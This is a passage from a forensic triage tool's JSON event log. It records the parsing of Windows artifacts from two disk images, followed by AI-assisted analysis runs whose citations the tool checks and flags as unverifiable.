  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/tasks.csv",
  "duration_seconds": 0.0952,
  "function": "tasks",
  "record_count": 268
}
2026-06-13T06:17:52.972Z parsing_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "function": "services"
}
2026-06-13T06:17:54.930Z parsing_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/services.csv",
  "duration_seconds": 1.957701,
  "function": "services",
  "record_count": 1822
}
2026-06-13T06:17:54.946Z parsing_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "function": "shimcache"
}
2026-06-13T06:18:00.447Z parsing_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/shimcache.csv",
  "duration_seconds": 5.50145,
  "function": "shimcache",
  "record_count": 1164
}
2026-06-13T06:18:00.491Z parsing_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "function": "amcache"
}
2026-06-13T06:18:01.245Z parsing_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/amcache.csv",
  "duration_seconds": 0.753566,
  "function": "amcache",
  "record_count": 795
}
2026-06-13T06:18:01.250Z parsing_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "function": "userassist"
}
2026-06-13T06:18:01.294Z parsing_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/userassist.csv",
  "duration_seconds": 0.043377,
  "function": "userassist",
  "record_count": 167
}
2026-06-13T06:18:01.297Z parsing_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "function": "recyclebin"
}
2026-06-13T06:18:01.389Z parsing_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/recyclebin.csv",
  "duration_seconds": 0.092216,
  "function": "recyclebin",
  "record_count": 37
}
2026-06-13T06:18:01.399Z parsing_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "function": "browser.history"
}
2026-06-13T06:18:03.583Z parsing_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/browser.history.csv",
  "duration_seconds": 2.183343,
  "function": "browser.history",
  "record_count": 483
}
2026-06-13T06:18:03.586Z parsing_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "function": "browser.downloads"
}
2026-06-13T06:18:06.445Z parsing_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/browser.downloads.csv",
  "duration_seconds": 2.859366,
  "function": "browser.downloads",
  "record_count": 59
}
2026-06-13T06:18:06.450Z parsing_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "function": "jumplist.automatic_destination"
}
2026-06-13T06:18:08.659Z parsing_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/jumplist.automatic_destination.csv",
  "duration_seconds": 2.209174,
  "function": "jumplist.automatic_destination",
  "record_count": 20
}
2026-06-13T06:18:08.666Z parsing_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "function": "jumplist.custom_destination"
}
2026-06-13T06:18:08.765Z parsing_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/jumplist.custom_destination.csv",
  "duration_seconds": 0.099365,
  "function": "jumplist.custom_destination",
  "record_count": 55
}
2026-06-13T06:18:08.768Z parsing_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "function": "shellbags"
}
2026-06-13T06:18:08.859Z parsing_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/shellbags.csv",
  "duration_seconds": 0.090993,
  "function": "shellbags",
  "record_count": 196
}
2026-06-13T06:18:08.862Z parsing_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "function": "sam"
}
2026-06-13T06:18:08.869Z parsing_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/sam.csv",
  "duration_seconds": 0.006741,
  "function": "sam",
  "record_count": 6
}
2026-06-13T06:18:08.873Z parsing_started
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "function": "defender.quarantine"
}
2026-06-13T06:18:08.876Z parsing_completed
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/defender.quarantine.csv",
  "duration_seconds": 0.003296,
  "function": "defender.quarantine",
  "record_count": 0
}
2026-06-13T06:18:08.879Z parsing_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "function": "network_history"
}
2026-06-13T06:18:08.887Z parsing_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/network_history.csv",
  "duration_seconds": 0.007271,
  "function": "network_history",
  "record_count": 2
}
2026-06-13T06:18:08.891Z image_added
{
  "case_id": "3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96",
  "image_id": "cb5dd4d0-e9da-4b7f-abd5-a1652671f61e",
  "label": "dmz-ftp-cdrive"
}
2026-06-13T06:18:15.890Z evidence_intake
{
  "dissect_path": "/mnt/data/Evidence/dmz-ftp-cdrive.E01",
  "evidence_file_hashes": [],
  "file": "/mnt/data/Evidence/dmz-ftp-cdrive.E01",
  "md5": "N/A (skipped)",
  "sha256": "N/A (skipped)",
  "size_bytes": 0,
  "source_mode": "path"
}
2026-06-13T06:18:15.900Z parsing_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "function": "runkeys"
}
2026-06-13T06:18:15.915Z parsing_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/runkeys.csv",
  "duration_seconds": 0.014542,
  "function": "runkeys",
  "record_count": 2
}
2026-06-13T06:18:15.918Z parsing_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "function": "tasks"
}
2026-06-13T06:18:16.006Z parsing_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/tasks.csv",
  "duration_seconds": 0.087616,
  "function": "tasks",
  "record_count": 252
}
2026-06-13T06:18:16.010Z parsing_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "function": "services"
}
2026-06-13T06:18:17.780Z parsing_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/services.csv",
  "duration_seconds": 1.769605,
  "function": "services",
  "record_count": 1650
}
2026-06-13T06:18:17.783Z parsing_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "function": "shimcache"
}
2026-06-13T06:18:33.263Z parsing_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/shimcache.csv",
  "duration_seconds": 15.480796,
  "function": "shimcache",
  "record_count": 1096
}
2026-06-13T06:18:33.266Z parsing_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "function": "amcache"
}
2026-06-13T06:18:33.664Z parsing_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/amcache.csv",
  "duration_seconds": 0.397682,
  "function": "amcache",
  "record_count": 1059
}
2026-06-13T06:18:33.671Z parsing_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "function": "userassist"
}
2026-06-13T06:18:33.706Z parsing_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/userassist.csv",
  "duration_seconds": 0.035286,
  "function": "userassist",
  "record_count": 81
}
2026-06-13T06:18:33.714Z parsing_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "function": "recyclebin"
}
2026-06-13T06:18:33.733Z parsing_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/recyclebin.csv",
  "duration_seconds": 0.01841,
  "function": "recyclebin",
  "record_count": 3
}
2026-06-13T06:18:33.736Z parsing_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "function": "browser.history"
}
2026-06-13T06:18:36.098Z parsing_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/browser.history.csv",
  "duration_seconds": 2.362024,
  "function": "browser.history",
  "record_count": 66
}
2026-06-13T06:18:36.104Z parsing_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "function": "browser.downloads"
}
2026-06-13T06:18:38.913Z parsing_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/browser.downloads.csv",
  "duration_seconds": 2.80885,
  "function": "browser.downloads",
  "record_count": 7
}
2026-06-13T06:18:38.917Z parsing_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "function": "jumplist.automatic_destination"
}
2026-06-13T06:18:39.069Z parsing_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/jumplist.automatic_destination.csv",
  "duration_seconds": 0.151831,
  "function": "jumplist.automatic_destination",
  "record_count": 34
}
2026-06-13T06:18:39.072Z parsing_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "function": "jumplist.custom_destination"
}
2026-06-13T06:18:39.096Z parsing_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/jumplist.custom_destination.csv",
  "duration_seconds": 0.023857,
  "function": "jumplist.custom_destination",
  "record_count": 14
}
2026-06-13T06:18:39.099Z parsing_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "function": "shellbags"
}
2026-06-13T06:18:39.156Z parsing_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/shellbags.csv",
  "duration_seconds": 0.057345,
  "function": "shellbags",
  "record_count": 117
}
2026-06-13T06:18:39.160Z parsing_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "function": "sam"
}
2026-06-13T06:18:39.170Z parsing_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/sam.csv",
  "duration_seconds": 0.010819,
  "function": "sam",
  "record_count": 16
}
2026-06-13T06:18:39.174Z parsing_started
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "function": "defender.quarantine"
}
2026-06-13T06:18:39.178Z parsing_completed
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/defender.quarantine.csv",
  "duration_seconds": 0.003942,
  "function": "defender.quarantine",
  "record_count": 0
}
2026-06-13T06:18:39.181Z parsing_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "function": "network_history"
}
2026-06-13T06:18:39.195Z parsing_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/network_history.csv",
  "duration_seconds": 0.013964,
  "function": "network_history",
  "record_count": 4
}
2026-06-13T06:18:39.554Z analysis_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:18:39.558Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__runkeys.csv",
  "artifact_key": "runkeys",
  "projection_columns": [
    "ts",
    "name",
    "command",
    "key",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/runkeys.csv"
}
2026-06-13T06:18:39.561Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__runkeys.csv",
  "annotated_rows": 2,
  "artifact_key": "runkeys",
  "removed_records": 2,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/runkeys.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T06:19:02.715Z analysis_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "duration_seconds": 23.157413,
  "status": "success",
  "token_count": 373
}
2026-06-13T06:19:02.718Z citation_validation
{
  "artifact_key": "runkeys",
  "citation_counts": {
    "columns": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "HKEY_LOCAL_MACHINE",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "username",
      "match_status": "exact",
      "matched_header": "username"
    },
    {
      "cited": "ts",
      "match_status": "exact",
      "matched_header": "ts"
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'HKEY_LOCAL_MACHINE' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:19:02.721Z analysis_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:19:03.398Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__tasks.csv",
  "artifact_key": "tasks",
  "projection_columns": [
    "task_path",
    "uri",
    "date",
    "last_run_date",
    "author",
    "task_name",
    "display_name",
    "enabled",
    "hidden",
    "user_id",
    "run_as",
    "logon_type",
    "group_id",
    "run_level",
    "action_type",
    "action",
    "command",
    "arguments",
    "args",
    "working_directory",
    "start_in",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/tasks.csv"
}
2026-06-13T06:19:03.404Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__tasks.csv",
  "annotated_rows": 22,
  "artifact_key": "tasks",
  "removed_records": 36,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/tasks.csv",
  "variant_columns": [
    "date",
    "last_run_date",
    "arguments"
  ]
}
2026-06-13T06:21:23.493Z analysis_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "duration_seconds": 140.768844,
  "status": "success",
  "token_count": 622
}
2026-06-13T06:21:23.499Z citation_validation
{
  "artifact_key": "tasks",
  "citation_counts": {
    "columns": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "System",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "task_path",
      "match_status": "exact",
      "matched_header": "task_path"
    },
    {
      "cited": "author",
      "match_status": "exact",
      "matched_header": "author"
    },
    {
      "cited": "user_id",
      "match_status": "exact",
      "matched_header": "user_id"
    },
    {
      "cited": "command",
      "match_status": "exact",
      "matched_header": "command"
    },
    {
      "cited": "arguments",
      "match_status": "exact",
      "matched_header": "arguments"
    },
    {
      "cited": "last_run_date",
      "match_status": "exact",
      "matched_header": "last_run_date"
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'System' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:21:23.502Z analysis_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:21:23.575Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__services.csv",
  "artifact_key": "services",
  "projection_columns": [
    "ts",
    "name",
    "displayname",
    "description",
    "servicedll",
    "imagepath",
    "imagepath_args",
    "objectname",
    "start",
    "type",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/services.csv"
}
2026-06-13T06:21:23.578Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__services.csv",
  "annotated_rows": 531,
  "artifact_key": "services",
  "removed_records": 1579,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/services.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T06:24:41.616Z analysis_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "duration_seconds": 198.108465,
  "status": "success",
  "token_count": 968
}
2026-06-13T06:24:41.626Z citation_validation
{
  "artifact_key": "services",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "mnemosyne",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "LocalSystem",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SYSTEM",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "cdrive",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Amcache",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ShimCache",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 6,
  "warnings": [
    "Note: AI cited column 'mnemosyne' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'LocalSystem' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SYSTEM' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'cdrive' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Amcache' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ShimCache' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:24:41.630Z analysis_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:24:41.689Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__shimcache.csv",
  "artifact_key": "shimcache",
  "projection_columns": [
    "last_modified",
    "index",
    "name",
    "path",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/shimcache.csv"
}
2026-06-13T06:24:41.692Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__shimcache.csv",
  "annotated_rows": 595,
  "artifact_key": "shimcache",
  "removed_records": 1785,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/shimcache.csv",
  "variant_columns": [
    "last_modified",
    "index"
  ]
}
2026-06-13T06:27:03.257Z analysis_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "duration_seconds": 141.624378,
  "status": "success",
  "token_count": 843
}
2026-06-13T06:27:03.266Z citation_validation
{
  "artifact_key": "shimcache",
  "citation_counts": {
    "columns": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "subject_srv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Autorunsc.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "gflags.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Autorunsc.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'gflags.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:27:03.270Z analysis_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:27:03.358Z artifact_ai_projection_warning
{
  "artifact_key": "amcache",
  "available_columns": [
    "hostname",
    "domain",
    "mtime_regf",
    "program_id",
    "digest",
    "path",
    "hash_path",
    "name",
    "publisher",
    "version",
    "bin_file_version",
    "product_name",
    "product_version",
    "link_date",
    "bin_product_version",
    "size",
    "language",
    "is_pefile",
    "is_oscomponent",
    "_source",
    "_classification",
    "_generated",
    "_version",
    "install_date",
    "install_date_arp_last_modified",
    "install_date_from_link_file",
    "language_code",
    "msi_package_code",
    "msi_product_code",
    "package_full_name",
    "type",
    "manifest_path",
    "os_version_at_install_time",
    "program_instance_id",
    "registry_key_path",
    "root_dir_path",
    "source",
    "uninstall_string",
    "categories",
    "discovery_method",
    "friendly_name",
    "icon",
    "is_active",
    "is_connected",
    "is_machine_container",
    "is_networked",
    "is_paired",
    "manufacturer",
    "model_id",
    "model_name",
    "model_number",
    "primary_category",
    "state",
    "driver_name",
    "inf",
    "driver_version",
    "product",
    "wdf_version",
    "driver_company",
    "driver_package_strong_name",
    "service",
    "driver_signed",
    "driver_is_kernel_mode",
    "last_write_time",
    "driver_timestamp",
    "image_size",
    "last_modified_timestamp",
    "last_modified_store_timestamp",
    "link_timestamp",
    "created_timestamp",
    "reference",
    "pe_header_checksum",
    "pe_size_of_image",
    "company_name",
    "file_size"
  ],
  "missing_columns": [
    "ts"
  ]
}
2026-06-13T06:27:03.430Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__amcache.csv",
  "artifact_key": "amcache",
  "projection_columns": [
    "install_date",
    "last_modified_timestamp",
    "created_timestamp",
    "path",
    "name",
    "publisher",
    "version",
    "product_name",
    "company_name",
    "digest",
    "file_size",
    "size",
    "driver_name",
    "service",
    "driver_signed",
    "is_pefile",
    "is_oscomponent",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/amcache.csv"
}
2026-06-13T06:27:03.434Z artifact_deduplicated
{
